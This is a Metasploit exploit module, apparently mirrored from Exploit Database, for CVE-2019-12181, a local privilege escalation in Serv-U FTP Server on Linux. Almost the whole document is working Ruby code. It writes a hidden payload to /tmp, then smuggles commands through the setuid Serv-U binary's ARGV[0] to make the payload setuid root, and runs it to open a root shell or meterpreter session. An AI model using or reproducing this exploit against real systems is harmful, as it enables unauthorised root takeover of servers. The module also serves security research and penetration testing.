Serv-U FTP Server – prepareinstallation Privilege Escalation (Metasploit)

• Exploit Database
• 30 阅读

• 作者： Metasploit
  日期： 2019-07-03
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47072/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  
  include Msf::Post::File
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Serv-U FTP Server prepareinstallation Privilege Escalation',
  'Description'=> %q{
  This module attempts to gain root privileges on systems running
  Serv-U FTP Server versions prior to 15.1.7.
  
  The `Serv-U` executable is setuid `root`, and uses `ARGV[0]`
  in a call to `system()`, without validation, when invoked with
  the `-prepareinstallation` flag, resulting in command execution
  with root privileges.
  
  This module has been tested successfully on Serv-U FTP Server
  version 15.1.6 (x64) on Debian 9.6 (x64).
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Guy Levin', # @va_start - Discovery and exploit
  'bcoles' # Metasploit
  ],
  'DisclosureDate' => '2019-06-05',
  'References' =>
  [
  ['CVE', '2019-12181'],
  ['EDB', '47009'],
  ['PACKETSTORM', '153333'],
  ['URL', 'https://github.com/guywhataguy/CVE-2019-12181'],
  ['URL', 'https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181'],
  ['URL', 'https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html'],
  ['URL', 'https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm'],
  ['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems']
  ],
  'Platform' => ['linux'],
  'Arch' =>
  [
  ARCH_X86,
  ARCH_X64,
  ARCH_ARMLE,
  ARCH_AARCH64,
  ARCH_PPC,
  ARCH_MIPSLE,
  ARCH_MIPSBE
  ],
  'SessionTypes' => ['shell', 'meterpreter'],
  'Targets'=> [['Auto', {}]],
  'DefaultOptions' =>
  {
  'PrependSetresuid' => true,
  'PrependSetresgid' => true,
  'PrependFork'=> true,
  'WfsDelay' => 30
  },
  'DefaultTarget'=> 0))
  register_options [
  OptString.new('SERVU_PATH', [true, 'Path to Serv-U executable', '/usr/local/Serv-U/Serv-U'])
  ]
  register_advanced_options [
  OptBool.new('ForceExploit', [false, 'Override check result', false]),
  OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
  ]
  end
  
  def servu_path
  datastore['SERVU_PATH']
  end
  
  def base_dir
  datastore['WritableDir'].to_s
  end
  
  def upload(path, data)
  print_status "Writing '#{path}' (#{data.size} bytes) ..."
  rm_f path
  write_file path, data
  register_file_for_cleanup path
  end
  
  def upload_and_chmodx(path, data)
  upload path, data
  chmod path
  end
  
  def check
  unless command_exists? 'bash'
  vprint_error 'bash shell is not available'
  return CheckCode::Safe
  end
  vprint_good 'bash shell is available'
  
  unless cmd_exec("test -x '#{servu_path}' && echo true").include? 'true'
  vprint_error "#{servu_path} is not executable"
  return CheckCode::Safe
  end
  vprint_good "#{servu_path} is executable"
  
  unless setuid? servu_path
  vprint_error "#{servu_path} is not setuid"
  return CheckCode::Safe
  end
  vprint_good "#{servu_path} is setuid"
  
  CheckCode::Detected
  end
  
  def exploit
  unless check == CheckCode::Detected
  unless datastore['ForceExploit']
  fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
  end
  print_warning 'Target does not appear to be vulnerable'
  end
  
  if is_root?
  unless datastore['ForceExploit']
  fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
  end
  end
  
  unless writable? base_dir
  fail_with Failure::BadConfig, "#{base_dir} is not writable"
  end
  
  if nosuid? base_dir
  fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
  end
  
  payload_name = ".#{rand_text_alphanumeric 10..15}"
  @payload_path = "#{base_dir}/#{payload_name}"
  upload_and_chmodx @payload_path, generate_payload_exe
  
  argv0 = %Q{\\";chown root #{@payload_path};chmod u+s #{@payload_path};chmod +x #{@payload_path}\\"}
  cmd = %Q{bash -c 'exec -a "#{argv0}" #{servu_path} -prepareinstallation'}
  vprint_status "Executing command: #{cmd}"
  cmd_exec cmd
  
  unless setuid? @payload_path
  fail_with Failure::Unknown, 'Failed to set payload setuid root'
  end
  print_good "#{@payload_path} setuid root successfully"
  
  print_status 'Executing payload...'
  res = cmd_exec "#{@payload_path} &"
  vprint_line res
  end
  
  def on_new_session(session)
  if session.type.eql? 'meterpreter'
  session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
  session.fs.file.rm @payload_path
  else
  session.shell_command_token "rm -f '#{@payload_path}'"
  end
  ensure
  super
  end
  end